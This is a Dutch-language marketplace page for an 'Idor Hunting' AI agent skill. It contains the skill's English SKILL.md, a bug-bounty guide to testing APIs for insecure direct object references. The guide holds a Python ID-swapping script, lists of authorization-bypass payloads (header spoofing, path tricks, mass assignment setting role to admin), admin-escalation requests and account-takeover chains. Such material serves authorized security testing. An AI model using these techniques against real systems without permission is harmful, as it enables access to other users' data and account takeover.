Logo van Idor Hunting

Idor Hunting

Community
SubhiSec
idor-hunting

Spoor Insecure Direct Object Reference (IDOR) op: test horizontale en verticale escalatie van rechten voor gebruikers-ID's, organisatie-ID's, tenantgrenzen en niet te raden identifiers. Gebruik dit wanneer de gebruiker een API-endpoint heeft met een identifier in het pad of de requestbody dat kan worden getest op ongeautoriseerde toegang tot gegevens van andere gebruikers.

Overzicht

UitgeverSubhiSec
Repositoryclaude-ai-cyber-security-skills
Skillnaamidor-hunting
Sterren
45
Forks
5
Meegeleverde bestanden
Alleen instructies
Links
  • Instructies in Markdown

    Het model laadt het bestand SKILL.md alleen als dat nodig is. Dat kost dus alleen tokens als een verzoek daadwerkelijk bij de skill past.

  • Werkt met elk LLM

    AI-skills bestaan uit instructies in gewone Markdown, niet uit aanbiederspecifieke code. Daardoor werken ze met GPT, Claude, Gemini, Grok of een lokaal model.

  • Compleet zonder extra bestanden

    Alles wat het model nodig heeft, staat in de instructies — geen extra bestanden om te synchroniseren.

  • Open source

    Gepubliceerd door SubhiSec op GitHub. Bekijk de bronbestanden voordat je de skill installeert.

Installatie

Installeer de AI-skill Idor Hunting in TypingMind om deze met elk LLM te gebruiken, of voeg de skill toe aan een andere agent die SKILL.md kan lezen.

1

Installeren in TypingMind

TypingMind installeert een skill rechtstreeks vanuit de GitHub-map. De app leest SKILL.md, bundelt de bijbehorende bestanden en slaat het resultaat lokaal op.

  1. Open de app en ga naar Plug-ins → Skills.
  2. Kies "Installeren via GitHub".
  3. Plak de onderstaande URL van de skillmap en bevestig.
    https://github.com/SubhiSec/claude-ai-cyber-security-skills/tree/main/skills/10-idor-hunting
  4. Schakel de skill in voor elke chat waarin je de skill wilt kunnen gebruiken.
Plug-ins → Skills → Skill toevoegen → Via GitHub-URL. Plak vervolgens de map-URL en druk op Doorgaan.
2

Installeren in een andere agent

Elke agent die het Agent Skills-formaat kan lezen, kan deze skill gebruiken — kopieer de map naar de skillmap van die agent.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/SubhiSec/claude-ai-cyber-security-skills.git /tmp/claude-ai-cyber-security-skills
mkdir -p .claude/skills
cp -r /tmp/claude-ai-cyber-security-skills/skills/10-idor-hunting .claude/skills/idor-hunting
Start Claude Code na het kopiëren opnieuw op, zodat de nieuwe skill wordt herkend.

Gebruik deze skill in TypingMind

Schakel Idor Hunting in voor een chat naar keuze in TypingMind en het model doet de rest. De naam en beschrijving staan in de systeemprompt. Zodra een verzoek bij de skill past, laadt het model zelf de volledige instructies. Je hoeft de skill nooit handmatig aan te roepen. Pas als het model de skill daadwerkelijk gebruikt, kost dat tokens.

Het model laadt Idor Hunting automatisch zodra een verzoek erbij past.

Werkt met elk AI-model

AI-skills zijn gewone Markdown-instructies in plaats van aanbiederspecifieke code. Daardoor is Idor Hunting niet gebonden aan het model waarvoor de skill is geschreven. Installeer de skill één keer in TypingMind en gebruik deze met GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama of een lokaal model dat je zelf draait — allemaal met je eigen API-sleutels.

  • Alleen geladen wanneer nodig

    De systeemprompt bevat alleen de naam en beschrijving. De instructies worden bij het eerste bijpassende verzoek opgehaald, dus een ongebruikte skill kost niets.

  • Wissel van model tijdens een chat

    Omdat de skill uit instructies bestaat en niet uit code, blijft deze werken als je van model wisselt — het volgende model leest hetzelfde SKILL.md-bestand.

Skillinstructies

Dit is de inhoud van SKILL.md die het model laadt. Lees deze vóór de installatie — een skill bestaat uit instructies die je model zal volgen.

IDOR Hunting

Single most paid vuln class in BB history. Boring to test, lucrative to find.

When to invoke

Trigger phrases:

  • "test IDOR"
  • "find IDOR in X"
  • "is this endpoint vulnerable to IDOR"
  • "cross-tenant"
  • "object reference"

Pre-requisites

You need two accounts in different trust zones to test most IDOR:

  • Two separate user accounts (horizontal IDOR)
  • Two accounts in different orgs/teams (cross-tenant IDOR)
  • User + admin (vertical privilege escalation)
  • User + guest (read-only role bypass)

Best setup: Account A (attacker) and Account B (victim) in separate browser profiles or with Burp's Cookie Jar feature.

The 5 IDOR patterns

Pattern 1: Sequential numeric IDs

GET /api/v3/user/12345/profile  ← logged in as user 12345
GET /api/v3/user/12346/profile  ← can you read?

Fix: rotate the trailing number in Burp Intruder, look for 200 + populated data.

Pattern 2: UUID / opaque IDs

GET /api/v3/document/3f8c7b2a-1234-5678-9abc-def012345678

"UUIDs prevent IDOR" — myth. UUIDs leak via:

  • URL sharing
  • Email notifications (your account's UUID for someone else's doc)
  • WebSocket messages
  • Search results that include other users' docs
  • Source maps
  • Stripe/Twilio webhooks
  • The Referer header

Hunt: collect UUIDs from your other accounts → swap.

Pattern 3: Indirect references (encoded IDs)

GET /api/v3/order?id=eyJ1c2VyIjoiMTIzIn0=    ← base64
GET /api/v3/order?id=md5_of_user_id

Decode first:

bash
echo "eyJ1c2VyIjoiMTIzIn0=" | base64 -d
# {"user":"123"}

Then modify and re-encode.

Pattern 4: Multi-parameter IDOR

POST /api/v3/transfer
{
  "from_account": 12345,    ← your account
  "to_account": 12346,
  "amount": 50
}

Hunt: swap from_account to another user's ID → unauthorized money movement?

Pattern 5: HTTP method confusion (METHOD IDOR)

GET /api/v3/user/12346      ← 403 forbidden
POST /api/v3/user/12346     ← but POST works
PUT /api/v3/user/12346      ← or PUT
PATCH /api/v3/user/12346    ← or PATCH
DELETE /api/v3/user/12346   ← or DELETE

Step-by-Step Workflow

1. Map identified endpoints

From [[js-analysis]] and [[content-discovery]] outputs:

bash
# Filter URLs containing identifiers
cat endpoints-live.txt | grep -E '/[a-f0-9-]{36}|/[0-9]+/|/uuid/|/[a-zA-Z0-9_-]{16,}/' > idor-candidates.txt

2. Create test accounts (a + b)

For each application:

  • Sign up as attacker@yopmail.com (Account A)
  • Sign up as victim@yopmail.com (Account B)
  • Note: user IDs, org IDs, project IDs, document IDs of each

3. Capture victim's IDs

Log in as B, capture:

  • User profile ID
  • Org ID
  • Any document/project/order IDs they created
  • Their email and username

Log out.

4. Log in as A, attempt cross-access

Method 1: Burp Match & Replace (semi-auto)

Match:   /api/v3/user/AAAAAAA-USER-A-UUID
Replace: /api/v3/user/BBBBBBB-USER-B-UUID

Browse the app normally — every endpoint with A's ID gets swapped to B's.

Method 2: Burp Autorize extension (recommended)

  • Configure with Account A's cookies (active session)
  • Provide Account B's request templates ("unauthenticated" template) in Autorize
  • Walk through the app → Autorize replays each request with no cookies / B's cookies
  • Auto-marks endpoints as "Auth bypass possible" or "Auth correctly enforced"

Method 3: scripted with Python

python
import requests

# Session A (attacker)
sA = requests.Session()
sA.cookies.set('session', 'A_SESSION_COOKIE', domain='target.com')

# Victim B's IDs
B_USER_ID = 'BBBBBBB-USER-B-UUID'

# Try IDOR
endpoints = [
    f'/api/v3/user/{B_USER_ID}',
    f'/api/v3/user/{B_USER_ID}/profile',
    f'/api/v3/user/{B_USER_ID}/email',
    f'/api/v3/user/{B_USER_ID}/orders',
    f'/api/v3/user/{B_USER_ID}/notifications',
    f'/api/v3/user/{B_USER_ID}/billing',
]
for ep in endpoints:
    r = sA.get(f'https://app.target.com{ep}')
    if r.status_code == 200 and B_USER_ID in r.text:
        print(f'[IDOR] {ep}\n{r.text[:300]}\n')

5. Try BOLA (Broken Object-Level Authorization) — OWASP API #1

Beyond simple IDOR, test:

  • Read someone's object
  • Modify someone's object (PATCH/PUT)
  • Delete someone's object (DELETE)
  • Add yourself to someone's resource
  • Add someone to your resource (force them into a relationship)

6. Bypass tricks when straight swap fails

If /api/v3/user/12346 returns 403, try:

bash
# Path manipulation
/api/v3/user/12346/
/api/v3/user/12346/.
/api/v3/user/12346/..
/api/v3/user//12346
/api/v3/user/12346%00
/api/v3/user/12346..json
/api/v3/user/12346.json
/api/v3/user/12345/../12346

# HTTP method
GET → POST/PUT/PATCH/DELETE/OPTIONS

# Headers
X-Original-URL: /api/v3/user/12346
X-Rewrite-URL: /api/v3/user/12346
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: internal.target.com
X-Custom-IP-Authorization: 127.0.0.1
Referer: https://app.target.com/admin
X-Original-Method: GET

# Parameter
?user_id=12346     (in addition to path)
?_method=PUT
?role=admin

# Mass assignment with extra fields
{"id": 12345, "user_id": 12346, "role": "admin"}

# JSON parameter pollution
{"user_id": 12345, "user_id": 12346}  ← which wins?

# Wildcard / array
{"user_id": ["*"]}
{"user_id": [12345, 12346]}

# Authorization header tricks
Authorization: Bearer null
Authorization: Bearer undefined
Authorization:           ← empty
Cookie: session=         ← empty

7. Vertical IDOR (privilege escalation)

Find admin-only endpoints from [[js-analysis]]:

bash
grep -hiE 'admin|manage|delete-user|set-role|invite|approve|reject' endpoints.txt

Test as low-priv user:

  • POST /api/v3/admin/users/12345/set-role {"role": "admin"}
  • POST /api/v3/admin/billing/refund {"amount": 999999}

Bug Bounty payout examples

Real H1 / BC reports show:

SeverityExample IDORTypical bounty
LowRead other user's display name$50-200
MediumRead other user's email + profile$300-800
HighRead other user's documents / messages$1k-3k
HighModify other user's settings (account hijack)$2k-5k
CriticalCross-tenant data access (whole org's data)$5k-15k
CriticalAdmin function reachable by user (delete users / refund money)$10k-30k

Output template

markdown
## IDOR: <one-line description>

**Endpoint:** `GET /api/v3/user/{user_id}/notifications`
**Test accounts:**
- Account A: user_id = `AAAA-A`
- Account B: user_id = `BBBB-B`

**PoC:**
1. Log in as Account A
2. Send request: `GET /api/v3/user/BBBB-B/notifications`
3. Response includes Account B's notifications, emails, and unread counts

**Cookies used (Account A's session):**

session=eyJhbGc...


**Response excerpt (Account B's private data exposed):**
```json
{
  "user_id": "BBBB-B",
  "notifications": [
    {"id": 1, "text": "Your invoice 4567 is paid", "email": "victim@example.com"}
  ]
}

Impact:

  • Any user can read any other user's notifications, including:
    • Email addresses (PII)
    • Invoice / order IDs (financial data hint)
    • Internal mentions / messages
  • Affects all 2M+ accounts.

Suggested fix:

  • Validate request.user.id == path.user_id on this endpoint.
  • Apply same check on /profile, /email, /orders (likely affected).

## Cross-references

- `[[auth-bypass]]` — when straight IDOR fails, try auth bypass tricks
- `[[ato-chains]]` — IDOR that leads to account takeover
- `[[business-logic]]` — IDOR + state mutation = logic bug
- `[[graphql]]` — IDOR is rampant in GraphQL (field-level)
- `[[hackerone-reporting]]` — IDOR report template

## Common pitfalls

1. **Testing with one account.** No comparison → no proof.
2. **Reporting unauth read of public data.** Some `/user/{id}/profile` returns are intentionally public. Verify.
3. **Confusing 404 for "fixed".** 404 might mean "different user → resource not found", which is actually different from "blocked".
4. **Not testing PUT/DELETE/PATCH.** Read IDOR is common; write IDOR is rare + critical.
5. **Reporting without impact framing.** "I read another user's display name" → likely informative. Add chain (read email → ATO).

## Always-rejected variant

**Don't report:**
- Reading data that's marked public (test before reporting)
- Reading your own data via someone else's identifier (no actual cross-access)
- "Self IDOR" (URL contains your ID and works — that's correct)
- IDOR where the "other ID" must be guessed and is high-entropy AND not leakable

## Autorize setup (Burp extension)

1. Install Autorize from BApp Store
2. Open Autorize tab
3. Configure:
   - **Cookies for "Low Privilege"**: leave empty (= unauthenticated)
   - **Cookies for "Unauthenticated"**: paste Account A's session cookies
4. Click "Autorize is off" → toggle on
5. Browse target as Account B
6. Autorize replays each request as A and unauth, marks results

Color codes:
- 🟢 Green = correctly enforced (no bug)
- 🔴 Red = bypassed (potential IDOR)
- 🟡 Yellow = needs manual verification

## Chained IDOR (mention in report for higher severity)

IDOR (read email) → password reset → ATO [chain doc in [[ato-chains]]] IDOR (read OTP) → 2FA bypass → ATO [chain doc in [[auth-bypass]]] IDOR (read API key) → full account access [report as ATO directly] IDOR (write user.role) → privilege escalation [vertical IDOR + mass assignment]

Veelgestelde vragen

Wat doet de AI-skill Idor Hunting?

Spoor Insecure Direct Object Reference (IDOR) op: test horizontale en verticale escalatie van rechten voor gebruikers-ID's, organisatie-ID's, tenantgrenzen en niet te raden identifiers. Gebruik dit wanneer de gebruiker een API-endpoint heeft met een identifier in het pad of de requestbody dat kan worden getest op ongeautoriseerde toegang tot gegevens van andere gebruikers.

Waarom Idor Hunting gebruiken in TypingMind?

Omdat je deze skill één keer installeert en met elk model kunt gebruiken. Idor Hunting bestaat uit gewone Markdown in plaats van aanbiederspecifieke code. Dezelfde skill werkt dus met GPT-5, Claude, Gemini, Grok of een lokaal model. Ook als je midden in een chat van model wisselt, blijft de skill werken. TypingMind werkt met je eigen API-sleutels, dus je betaalt aanbieders rechtstreeks in plaats van een abonnement per gebruikersplek af te sluiten. Je skills en chats blijven in je eigen opslag.

Hoe installeer ik Idor Hunting in TypingMind?

Open Plug-ins → Skills → Installeren vanaf GitHub in TypingMind en plak https://github.com/SubhiSec/claude-ai-cyber-security-skills/tree/main/skills/10-idor-hunting. TypingMind leest het bestand SKILL.md en installeert het als een skill die je per chat kunt inschakelen.

Welke AI-modellen kunnen Idor Hunting gebruiken?

Elk model dat je in TypingMind koppelt. AI-skills bestaan uit gewone Markdown-instructies in plaats van aanbiederspecifieke code. GPT, Claude, Gemini, Grok en lokale modellen kunnen deze skill dus allemaal laden wanneer een verzoek erbij past.

Hoeveel AI-modellen kan ik met Idor Hunting gebruiken?

Zoveel als je wilt. Je kunt Idor Hunting gebruiken met elk model dat skills ondersteunt, zoals GPT, Claude, Gemini, Grok, DeepSeek, Mistral of Llama. Allemaal in TypingMind met je eigen API-sleutels.

Is de AI-skill Idor Hunting gratis?

Deze skill is door SubhiSec op GitHub gepubliceerd. Bekijk de repository voor de licentievoorwaarden. Je betaalt alleen je eigen AI-aanbieder voor de tokens die je gebruikt.

Wat zijn AI-skills?

Een AI-skill is een herbruikbare bundel instructies die een AI-model leert hoe het één specifieke taak moet uitvoeren. De skill volgt het open Agent Skills-formaat: het bestand SKILL.md bevat de naam en beschrijving van de skill. Daarnaast kan de skill scripts, sjablonen of referentiebestanden bevatten die het model nodig heeft. Het model leest de instructies alleen als je verzoek bij de skill past. Een geïnstalleerde skill kost dus niets zolang deze niet wordt gebruikt.

Waarin verschillen AI-skills van plug-ins of MCP-servers?

Een plug-in of MCP-server geeft een model nieuwe tools om aan te roepen: code die ergens wordt uitgevoerd en een resultaat teruggeeft. Een AI-skill geeft het model juist kennis en een werkwijze: hoe het een taak moet aanpakken, welke stappen het moet volgen en hoe goede uitvoer eruitziet. Skills bestaan uit gewone Markdown en hebben dus geen server, API-sleutel of runtime nodig. Ze werken met elk model.

Bekijk alles

Maak nu je eigen AI-werkruimte

Schrijf je in voor onze nieuwsbrief en blijf op de hoogte van nieuwe functies en toekomstige weggeefacties 👇